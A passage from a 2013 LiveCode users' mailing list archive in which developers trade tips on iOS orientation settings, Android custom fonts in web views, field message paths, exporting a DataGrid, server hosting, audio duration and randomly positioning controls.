line of script (maybe with another simulator, since I haven't worked on this one for quite a time). There must be another reason. Thanks anyway. I noted by the way in the Dictionary that it says > The setting take affect the next time an orientation change is applied. The interface orientation only changes if the new orientation is among the configured list. I am not aware of ever setting the orientation (and I don't know what 'the configured list' refers to), since I don't allow for portrait at all - I expect the app to open in Landscape and stay there. BTW I also tried using just one option, "landscape left" but the result was the same. Must be something in my code. I will now build some very simple test apps to see what happens. Graham On 31 May 2013, at 02:21, Randy Hengst wrote: > Graham, > > Do you have this handler in the stack script? > > on startUp > iphoneSetAllowedOrientations "landscape left,landscape right" > end startUp > > be well, > randy > ----- > On May 30, 2013, at 4:48 PM, Graham Samuel wrote: > >> I've been testing an iOS app intended only for iPad landscape, using Simulator 6.1 as the test target. I must have made a change in the setup, but I don't know what, and now when I try to test from the IDE, I get the simulation showing up as landscape with my splash screen correctly positioned, then suddenly the splash screen is rotated through 90 degrees, meaning that some of it (the original right hand side) is now invisible. When the app proper starts, it is also shown rotated with the right hand side cut off. If I use the 'Rotate' menu in the simulator, all I get is a portrait screen with the same cut-offs. >> >> In my Standalone Settings, I have only enabled iPad Landscape options. >> >> The thing looks fine on the desktop - can anyone suggest what I did wrong? >> >> TIA >> >> Graham >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From me at paulmaguire.me Fri May 31 05:43:23 2013 From: me at paulmaguire.me (Paul Maguire) Date: Fri, 31 May 2013 10:43:23 +0100 Subject: iOS app simulation rotated? In-Reply-To: References: <2D7805E0-A030-4C05-BAE4-A59FBC6048AF@mac.com> Message-ID: <13224305-CDD3-498E-84A1-2C576FDE06AA@paulmaguire.me> On 31 May 2013, at 10:32, Graham Samuel wrote: > Thanks Randy - I hadn't thought of this. Tried it just now and sadly it doesn't work. The simulation used to work, even without this line of script (maybe with another simulator, since I haven't worked on this one for quite a time). You say it doesn't work now after typing in that line - are you sure it's all formatted and spelled correctly?!? iPhone sim will just fail if it's not. Just a thought. In my preOpenStack handler I used: mobileAllowedOrientations("portrait,portrait upside down") ... for a portrait app. Another thing - check your Standalone Application Settings/Orientation options. Kind regards, Paul. From livfoss at mac.com Fri May 31 06:07:59 2013 From: livfoss at mac.com (Graham Samuel) Date: Fri, 31 May 2013 12:07:59 +0200 Subject: iOS app simulation rotated? In-Reply-To: <13224305-CDD3-498E-84A1-2C576FDE06AA@paulmaguire.me> References: <2D7805E0-A030-4C05-BAE4-A59FBC6048AF@mac.com> <13224305-CDD3-498E-84A1-2C576FDE06AA@paulmaguire.me> Message-ID: <3787B005-E752-486C-A5E9-603E891486DC@mac.com> Thanks for the input - I just found the problem. I have started using Scott Rossi's tmControl for buttons etc to give a better look to my app. I didn't know this, but the setup within his subsystem puts this line into a preOpenCard handler of the first card to be opened after the splash: > iphoneSetAllowedOrientations (the tmControlData["allowedOrientations"] of this stack) If I comment this out, then the problem goes away. I had not myself used a preOpenCard handler in this card, so I didn't know the script was there! This is not to blame Scott: it's all because I have only just started using tmControl, so put it down to ignorance on my part. So far I don't know why this line is needed or where it gets its information from, but I will find out very shortly! Thanks anyway for your response. Graham On 31 May 2013, at 11:43, Paul Maguire wrote: > On 31 May 2013, at 10:32, Graham Samuel wrote: >> Thanks Randy - I hadn't thought of this. Tried it just now and sadly it doesn't work. The simulation used to work, even without this line of script (maybe with another simulator, since I haven't worked on this one for quite a time). > > > You say it doesn't work now after typing in that line - are you sure it's all formatted and spelled correctly?!? iPhone sim will just fail if it's not. Just a thought. > In my preOpenStack handler I used: > mobileAllowedOrientations("portrait,portrait upside down") > ... for a portrait app. > > Another thing - check your Standalone Application Settings/Orientation options. > > Kind regards, Paul. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From me at paulmaguire.me Fri May 31 06:27:48 2013 From: me at paulmaguire.me (Paul Maguire) Date: Fri, 31 May 2013 11:27:48 +0100 Subject: Android custom fonts in web scroller native control... Message-ID: Hi all. I'm hoping someone can point me in the right direction. I've posted this (and other Android-related issues) to the Android forum, but no replies and I can't seem to resolve it or find out any more info. I am porting an iOS app to Android. I have many issues (of course). The first of these is the use of custom fonts in HTML used in a web scroller native control. I have successfully embedded the font in the app - it is .ttf - and it displays properly when used in the Livecode UI I have set up. Only in the web scroller does it fail. Of course it works fine in iOS (sigh). I have tried the following in the styles in the HTML: @font-face { font-family: "GROBOLD"; src: url('fonts/GROBOLD.ttf'); } ... but fails too. It seems I have a pathname issue with Android. I'm using specialFolderPath("engine") eg.: put (specialFolderPath("engine") & slash & "Media/footer.png") into tImageURL put "

" into tS ... but this fails to display too, so the pathname is wrong. I don't understand! I notice from the Android .apk file structure that all my assets (including fonts) are contained in a folder called 'assets' - which doesn't exist in the iOS .app file, but adding this to the URL fails too. Can anyone elucidate? Kind regards, Paul. From ABMCLAWH at mailbox.sc.edu Fri May 31 07:18:26 2013 From: ABMCLAWH at mailbox.sc.edu (MCLAWHORN, TONY) Date: Fri, 31 May 2013 11:18:26 +0000 Subject: Substack to Main stack message path Message-ID: <52F4CD4098B27344A9CC4FA0329B88B21E04BEF1@CAE145EMBP03.ds.sc.edu> Situation: One mainstack with 6 unlocked fields and one substack with 6 unlocked fields. I copy text from one of the fields in the substack and verify that it is in clipboardData["text"] which it is. I would like to then be able to click on an unlocked text field in the mainstack and have it immediately paste the text into that field. I have an "openField" handler in each of the 6 unlocked fields of the mainstack. My thinking was the "openField" handler for each field in the mainstack would be run since I clicked on that field but apparently the message path is not what I'm thinking it should be when going straight from a substack and clicking on an object in the mainstack. Whats happening: If I were to click on field 3 in the mainstack with text in the clipboard from the substack, field 1 would be the field the text gets pasted into. So it appears that the first object I click on after going from a substack to the mainstack is not getting the message. The pasting process works fine if I paste text from fields in the same stack. Still trying to figure out what messages are firing off when clicking on an object in the mainstack after leaving a substack. Can somebody point me in the right direction and/or offer some advice? Thanks. --- |> |? Tony McLawhorn |? Computer Support Manager |? Department of History |? University of South Carolina |? Columbia, SC 29208 |? TonyMac at sc.edu |? (803) 777-9125 From skip at magicgate.com Fri May 31 08:30:34 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Fri, 31 May 2013 08:30:34 -0400 Subject: Export DataGrid to formatted table for Word Message-ID: Good morning LC's! I have a DataGrid that I need to place onto the clipboard, all nicely formatted in a table, so that I can paste it into a Word document. Anybody have a good method for doing something like this? SKIP From matthias_livecode_150811 at m-r-d.de Fri May 31 09:15:38 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Fri, 31 May 2013 15:15:38 +0200 Subject: Export DataGrid to formatted table for Word In-Reply-To: References: Message-ID: Hi, don?t know if this suits your needs, but Curry Kenworthy released WordReport Library some time ago. http://curryk.com/wordreport.html Regards, Matthias Am 31.05.2013 um 14:30 schrieb Magicgate Software - Skip Kimpel : > Good morning LC's! > > I have a DataGrid that I need to place onto the clipboard, all nicely > formatted in a table, so that I can paste it into a Word document. > > Anybody have a good method for doing something like this? > > SKIP > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri May 31 09:16:14 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 31 May 2013 09:16:14 -0400 (EDT) Subject: Substack to Main stack message path In-Reply-To: <52F4CD4098B27344A9CC4FA0329B88B21E04BEF1@CAE145EMBP03.ds.sc.edu> References: <52F4CD4098B27344A9CC4FA0329B88B21E04BEF1@CAE145EMBP03.ds.sc.edu> Message-ID: <8D02C182925FF53-E20-355F7@webmail-d127.sysops.aol.com> Hi. I am missing something, because: on openField put the clipBoardData into me end openField works fine. Craig Newman -----Original Message----- From: MCLAWHORN, TONY To: How to use LiveCode Sent: Fri, May 31, 2013 7:20 am Subject: Substack to Main stack message path Situation: One mainstack with 6 unlocked fields and one substack with 6 unlocked fields. I copy text from one of the fields in the substack and verify that it is in clipboardData["text"] which it is. I would like to then be able to click on an unlocked text field in the mainstack and have it immediately paste the text into that field. I have an "openField" handler in each of the 6 unlocked fields of the mainstack. My thinking was the "openField" handler for each field in the mainstack would be run since I clicked on that field but apparently the message path is not what I'm thinking it should be when going straight from a substack and clicking on an object in the mainstack. Whats happening: If I were to click on field 3 in the mainstack with text in the clipboard from the substack, field 1 would be the field the text gets pasted into. So it appears that the first object I click on after going from a substack to the mainstack is not getting the message. The pasting process works fine if I paste text from fields in the same stack. Still trying to figure out what messages are firing off when clicking on an object in the mainstack after leaving a substack. Can somebody point me in the right direction and/or offer some advice? Thanks. --- |> | Tony McLawhorn | Computer Support Manager | Department of History | University of South Carolina | Columbia, SC 29208 | TonyMac at sc.edu | (803) 777-9125 _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri May 31 09:23:51 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 31 May 2013 09:23:51 -0400 (EDT) Subject: Substack to Main stack message path In-Reply-To: <52F4CD4098B27344A9CC4FA0329B88B21E04BEF1@CAE145EMBP03.ds.sc.edu> References: <52F4CD4098B27344A9CC4FA0329B88B21E04BEF1@CAE145EMBP03.ds.sc.edu> Message-ID: <8D02C193A07A4B9-E20-356BF@webmail-d127.sysops.aol.com> Hi again. I cavalierly just tried this with a couple of fields in the same stack, and after rereading, saw the substack thing as a possible complication, though had no idea why it should. But still no problem. I copy text from a field in the substack, and click on one of several fields in the mainstack each with the openfield handler, and only that field is loaded with the clipBoardData. Just as it ought to. Are you sure there are no other handlers in play? And you really should use a card handler, using the target function. Just more compact and robust. Craig Newman -----Original Message----- From: MCLAWHORN, TONY To: How to use LiveCode Sent: Fri, May 31, 2013 7:20 am Subject: Substack to Main stack message path Situation: One mainstack with 6 unlocked fields and one substack with 6 unlocked fields. I copy text from one of the fields in the substack and verify that it is in clipboardData["text"] which it is. I would like to then be able to click on an unlocked text field in the mainstack and have it immediately paste the text into that field. I have an "openField" handler in each of the 6 unlocked fields of the mainstack. My thinking was the "openField" handler for each field in the mainstack would be run since I clicked on that field but apparently the message path is not what I'm thinking it should be when going straight from a substack and clicking on an object in the mainstack. Whats happening: If I were to click on field 3 in the mainstack with text in the clipboard from the substack, field 1 would be the field the text gets pasted into. So it appears that the first object I click on after going from a substack to the mainstack is not getting the message. The pasting process works fine if I paste text from fields in the same stack. Still trying to figure out what messages are firing off when clicking on an object in the mainstack after leaving a substack. Can somebody point me in the right direction and/or offer some advice? Thanks. --- |> | Tony McLawhorn | Computer Support Manager | Department of History | University of South Carolina | Columbia, SC 29208 | TonyMac at sc.edu | (803) 777-9125 _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mark.rauterkus at gmail.com Fri May 31 10:03:56 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Fri, 31 May 2013 10:03:56 -0400 Subject: Virtual Server Install Message-ID: Hi All, http://livecode.com/how-it-works/platforms-and-devices/server/ That info above is exciting, but there has to be more depth somewhere. Where? I'd love to convince the tech folks at the server farm that they should make a server option and simple install script for LiveCode. Are there any wizards who would take my username/password and install LC Community onto the virtual web server? Are there more documentation pages? I understand that OnRev is a paid service that does what I'm asking about, but with the new model we should have more insights so the ISPs and Go Daddy's of the world can take a leap into LiveCode hosting too. Yes? -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com PPS Summer Dreamers' Swim and Water Polo Camp Head Coach Pittsburgh Combined Water Polo Team http://Rauterkus.blogspot.com http://FixPA.wikia.com http://CLOH.wikia.com 412 298 3432 = cell From pete at lcsql.com Fri May 31 11:44:15 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 31 May 2013 08:44:15 -0700 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Message-ID: Seems like every time there's a post like this, it doesn't turn up many users in a specific geographical area. So where are all the users? Pete lcSQL Software On Fri, May 31, 2013 at 1:59 AM, John Dixon wrote: > Hi Dave... > > Thanks for your post to the liveCode use-list? I was hoping that there > might be a fair number of LC users in the South-West area so that perhaps > we could have organised to have a meeting every couple of months, but it > seems we are very thin on the ground?:-) > > Still, with the arrival of the community edition, you never know... things > might change? > > > > From: dave at businessplaninsight.com > > Subject: RE: LC Users - in the Bristol, Southhampton,Taunton triangle > > Date: Thu, 30 May 2013 19:58:34 +0100 > > To: use-livecode at lists.runrev.com > > > > Hi John & Peter > > > > Yes! I'm based in Plymouth > > > > Dave > > > > > Know of one who hopes shortly to be in Truro. > > > > > >> mmm... let's extend the area a little then... Are there any liveCode > users in the South-West of England ? > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From revdev at pdslabs.net Fri May 31 12:14:43 2013 From: revdev at pdslabs.net (Phil Davis) Date: Fri, 31 May 2013 09:14:43 -0700 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: <84C48530-05E2-4D8E-8094-F33CA4AB7F4D@LinkIt.Com> References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> <51A7C69E.3040606@hyperactivesw.com> <84C48530-05E2-4D8E-8094-F33CA4AB7F4D@LinkIt.Com> Message-ID: <51A8CC73.9030509@pdslabs.net> On 5/31/13 2:16 AM, Ray Horsley wrote: > You might be right Jackie. I'm not sure how to guess how many desktop systems there are without Quicktime installed so it might not be an issue. > > The overall goal is to display a progress circle like the one Fetch uses while a sound is playing. The idea is the circle will make one complete trip for the duration of the sound. > > Dar, nice ideas and very interesting but the user will be supplying the audio files so I'm not sure how that would work out. I'm currently looking into the link Warren supplied to Media Info although I'm not sure how I'll tie it into my standalone. Hi Ray, I maintain one app that has mediaInfo in the app bundle, and the app uses shell() to run it as needed. So that's one option on the Mac at least. Phil Davis > > On May 30, 2013, at 5:37 PM, J. Landman Gay wrote: > >> On 5/30/13 2:36 PM, Ray Horsley wrote: >>> I know this is available with QuickTime using the CurrentTime and >>> TimeScale properties but if the user doesn't have QuickTime installed >>> I'd hate to be stuck. Are there any other ways to get the duration >>> of an audio file? >> Can you say what the goal is? Maybe there's another way to do it. >> >> All Macs have QT. If a Windows user doesn't, Media Player should run and the same functions should be available as long as you're using player objects. I'm not sure about Linux, I hear there are some issues with players there. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis From jacque at hyperactivesw.com Fri May 31 12:22:38 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 11:22:38 -0500 Subject: Android custom fonts in web scroller native control... In-Reply-To: References: Message-ID: <51A8CE4E.1020005@hyperactivesw.com> On 5/31/13 5:27 AM, Paul Maguire wrote: > I am porting an iOS app to Android. I have many issues (of course). > The first of these is the use of custom fonts in HTML used in a web > scroller native control. I have successfully embedded the font in the > app - it is .ttf - and it displays properly when used in the Livecode > UI I have set up. Only in the web scroller does it fail. > > Of course it works fine in iOS (sigh). I have tried the following in > the styles in the HTML: > > @font-face { font-family: "GROBOLD"; src: url('fonts/GROBOLD.ttf'); > } > > ... but fails too. It seems I have a pathname issue with Android. I'm > using specialFolderPath("engine") eg.: > > put (specialFolderPath("engine") & slash & "Media/footer.png") into > tImageURL put "

""E&"50""E&">

" into tS > > ... but this fails to display too, so the pathname is wrong. I don't > understand! I notice from the Android .apk file structure that all my > assets (including fonts) are contained in a folder called 'assets' - > which doesn't exist in the iOS .app file, but adding this to the URL > fails too. The path isn't the problem. Folders on mobile are virtual; the specialFolderPaths are redirected by the engine to the resources stored in the assets folder. You shouldn't need to worry about that, and your path is okay. How are you loading the font? As far as I know, custom fonts are loaded with an external and those aren't supported on Android yet. But maybe the engine is supposed to load mobile fonts automatically; I haven't needed to try that so I'm not sure. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pmbrig at gmail.com Fri May 31 12:30:51 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Fri, 31 May 2013 12:30:51 -0400 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Message-ID: <5ED80409-C036-40B2-86B9-9D422A95B8E7@gmail.com> On May 31, 2013, at 11:44 AM, Peter Haworth wrote: > Seems like every time there's a post like this, it doesn't turn up many > users in a specific geographical area. So where are all the users? On Venus, 2+K years in the future? -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From livfoss at mac.com Fri May 31 13:02:50 2013 From: livfoss at mac.com (Graham Samuel) Date: Fri, 31 May 2013 19:02:50 +0200 Subject: Can I use LC's 'Default Patterns' on iOS? Message-ID: <9E4F2327-CB4F-4904-A86B-A0D5AE4EF7AB@mac.com> I created a rectangle object and filled it with one of the default patterns in the Image Library. Looks fine on the desktop, but is non-existent on iOS (simulation). I can't see an option to include a specific image library in an iOS build - come to think of it, it looks as if all inclusions of engine components for iOS apps are done automatically without the developer being allowed to make a specific choice. Is it possible, and if so, how's it done? TIA Graham From bvg at mac.com Fri May 31 13:23:15 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Fri, 31 May 2013 19:23:15 +0200 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Message-ID: <9C3219C4-5444-4524-9165-4B1179C5EDE4@mac.com> They're not on mailing lists or forums, instead they're slaving away on their code :) On 31.05.2013, at 17:44, Peter Haworth wrote: > So where are all the users? -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From cmsheffield at icloud.com Fri May 31 13:49:30 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Fri, 31 May 2013 11:49:30 -0600 Subject: randomly position objects on-screen Message-ID: Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). Any takers? Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From stephenREVOLUTION2 at barncard.com Fri May 31 14:00:24 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 31 May 2013 11:00:24 -0700 Subject: Virtual Server Install In-Reply-To: References: Message-ID: I've been planning to send an email the CEO of Dreamhost and suggest they offer Livecode with their one click installs after the community edition is released. They are a pretty hip company and may already be planning this. On Fri, May 31, 2013 at 7:03 AM, Mark Rauterkus wrote: > Hi All, > > http://livecode.com/how-it-works/platforms-and-devices/server/ > > That info above is exciting, but there has to be more depth somewhere. > Where? > > I'd love to convince the tech folks at the server farm that they should > make a server option and simple install script for LiveCode. > > Are there any wizards who would take my username/password and install LC > Community onto the virtual web server? > > Are there more documentation pages? > > I understand that OnRev is a paid service that does what I'm asking about, > but with the new model we should have more insights so the ISPs and Go > Daddy's of the world can take a leap into LiveCode hosting too. > > Yes? > > > > -- > Ta. > > > Mark Rauterkus Mark.Rauterkus at gmail.com > PPS Summer Dreamers' Swim and Water Polo Camp Head Coach > Pittsburgh Combined Water Polo Team > > http://Rauterkus.blogspot.com > http://FixPA.wikia.com > http://CLOH.wikia.com > 412 298 3432 = cell > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From stephenREVOLUTION2 at barncard.com Fri May 31 14:01:14 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 31 May 2013 11:01:14 -0700 Subject: Virtual Server Install In-Reply-To: References: Message-ID: better yet would be to have it installed server-wide, like PHP and PYTHON On Fri, May 31, 2013 at 11:00 AM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > I've been planning to send an email the CEO of Dreamhost and suggest they > offer Livecode with their one click installs after the community edition is > released. They are a pretty hip company and may already be planning this. > > > On Fri, May 31, 2013 at 7:03 AM, Mark Rauterkus wrote: > >> Hi All, >> >> http://livecode.com/how-it-works/platforms-and-devices/server/ >> >> That info above is exciting, but there has to be more depth somewhere. >> Where? >> >> I'd love to convince the tech folks at the server farm that they should >> make a server option and simple install script for LiveCode. >> >> Are there any wizards who would take my username/password and install LC >> Community onto the virtual web server? >> >> Are there more documentation pages? >> >> I understand that OnRev is a paid service that does what I'm asking about, >> but with the new model we should have more insights so the ISPs and Go >> Daddy's of the world can take a leap into LiveCode hosting too. >> >> Yes? >> >> >> >> -- >> Ta. >> >> >> Mark Rauterkus Mark.Rauterkus at gmail.com >> PPS Summer Dreamers' Swim and Water Polo Camp Head Coach >> Pittsburgh Combined Water Polo Team >> >> http://Rauterkus.blogspot.com >> http://FixPA.wikia.com >> http://CLOH.wikia.com >> 412 298 3432 = cell >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > -- Stephen Barncard San Francisco Ca. USA more about sqb From pete at lcsql.com Fri May 31 14:03:52 2013 From: pete at lcsql.com (Peter Haworth) Date: Fri, 31 May 2013 11:03:52 -0700 Subject: Mail archive broken? Message-ID: Looks like the search function on the mail archive is broken - I get a "Document Not Found" message no matter what I search for. Who maintains that site? Pete lcSQL Software From irog at mac.com Fri May 31 14:06:43 2013 From: irog at mac.com (Roger Guay) Date: Fri, 31 May 2013 11:06:43 -0700 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: Hi Chris, I believe this will do it for you: on placeBtnRandom pbtnName put the width of btn pbtnName into bW put the height of btn pbtnName into bH put the width of this stack into sW put the height of this stack into sH put random(sW-bW) into tX put random(sH-bH) into tY set the loc of btn pbtnName to bW/2+ tX, bH/2 - tY end placeBtnRandom Regards, Roger On May 31, 2013, at 10:49 AM, Chris Sheffield wrote: > Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). > > Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). > > Any takers? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Fri May 31 14:08:46 2013 From: irog at mac.com (Roger Guay) Date: Fri, 31 May 2013 11:08:46 -0700 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: <52D2E8C2-0466-4433-A6F4-CEEDB53952D4@mac.com> Ooops that should be + tY in the last line? On May 31, 2013, at 11:06 AM, Roger Guay wrote: > Hi Chris, > > I believe this will do it for you: > > on placeBtnRandom pbtnName > put the width of btn pbtnName into bW > put the height of btn pbtnName into bH > put the width of this stack into sW > put the height of this stack into sH > put random(sW-bW) into tX > put random(sH-bH) into tY > set the loc of btn pbtnName to bW/2+ tX, bH/2 - tY > end placeBtnRandom > > Regards, > Roger > > On May 31, 2013, at 10:49 AM, Chris Sheffield wrote: > >> Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). >> >> Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). >> >> Any takers? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Fri May 31 14:09:11 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 31 May 2013 14:09:11 -0400 Subject: Android custom fonts in web scroller native control... In-Reply-To: <51A8CE4E.1020005@hyperactivesw.com> References: <51A8CE4E.1020005@hyperactivesw.com> Message-ID: On Fri, May 31, 2013 at 12:22 PM, J. Landman Gay wrote: > As far as I know, custom fonts are loaded with an external and those aren't supported on Android yet. In the 5.5.5 Release Notes: http://downloads.livecode.com/livecode/5_5_5/LiveCodeNotes-5_5_5-Android.pdf "In LiveCode 5.5 the ability was introduced to allow applications to bundle custom fonts which then become available to the app (and only that app) while it is running. To take advantage of this feature, all you need to do is reference the files of any fonts you wish to include in the Copy Files pane. These files can either be a direct file reference, or contained in one of the folder references. The Standalone Builder will treat any files that end with the extension ttf or ttc as font files to use in this way. Any fonts included in this way will appear in the fontNames and can be used in the same way as any other font on the system." ~Roger From dsc at swcp.com Fri May 31 14:24:07 2013 From: dsc at swcp.com (Dar Scott) Date: Fri, 31 May 2013 12:24:07 -0600 Subject: randomly position objects on-screen In-Reply-To: References: Message-ID: If the controls are relatively small compared to your area, you can guess a lot and then fallback to something when you hit your limit in failures. That can also work if space is tight if failing is smart and you can take the time to try several. For a 1D problem, I'd randomly select the left margin (the distance to the left, not the property) after randomly selecting the order of controls. The first left margin is taken from all the space left over after looking at the widths. The second is take from the space left over after that. And so on. There might be something similar with 2D, but that looks more challenging. Dar On May 31, 2013, at 11:49 AM, Chris Sheffield wrote: > Okay, I figure someone out there has probably done this before, so I thought I'd ask here before I dive in to the deep end (or go off the deep end, whichever comes first). > > Given a rectangular area (in this case a graphic object), I need to randomly position three controls (in this case Scott's tmControl buttons (groups)), within that area. It's not a huge area to work with, but the controls are not too big. The conditions are that the controls cannot intersect (overlap) and they have to be completely visible within the given area (not partially off-screen). > > Any takers? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Fri May 31 14:40:16 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 31 May 2013 13:40:16 -0500 Subject: Android custom fonts in web scroller native control... In-Reply-To: References: <51A8CE4E.1020005@hyperactivesw.com> Message-ID: <51A8EE90.1070406@hyperactivesw.com> On 5/31/13 1:09 PM, Roger Eller wrote: > On Fri, May 31, 2013 at 12:22 PM, J. Landman Gay wrote: >> As far as I know, custom fonts are loaded with an external and those > aren't supported on Android yet. > > In the 5.5.5 Release Notes: > http://downloads.livecode.com/livecode/5_5_5/LiveCodeNotes-5_5_5-Android.pdf > > "In LiveCode 5.5 the ability was introduced to allow applications to bundle > custom fonts which then > become available to the app (and only that app) while it is running. To > take advantage of this feature, all you need to do is reference the files > of any fonts you wish to include in the Copy Files pane. These files can > either be a direct file reference, or contained in one of the folder > references. The Standalone Builder will treat any files that end with the > extension ttf or ttc as font files to use in this way. Any fonts included > in this way will appear in the fontNames and can be used in the same way as > any other font on the system." Cool. Thanks Roger. It's been a while since I re-read the release notes. That being the case, the original poster may have found a bug. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Fri May 31 14:46:19 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Fri, 31 May 2013 14:46:19 -0400 Subject: Android custom fonts in web scroller native control... In-Reply-To: <51A8EE90.1070406@hyperactivesw.com> References: <51A8CE4E.1020005@hyperactivesw.com> <51A8EE90.1070406@hyperactivesw.com> Message-ID: <004101ce5e2f$240982c0$6c1c8840$@net> Jacque, I've been using custom fonts in both Android and iOS. They work exactly as Roger documented. I even put all my custom fonts into a folder and just included the folder in the "Copy files" Pane and like magic the builder finds them and the apps on both platforms report them and use them as expected. Ralph DiMola IT Director Evergreen Information Services rdimola at 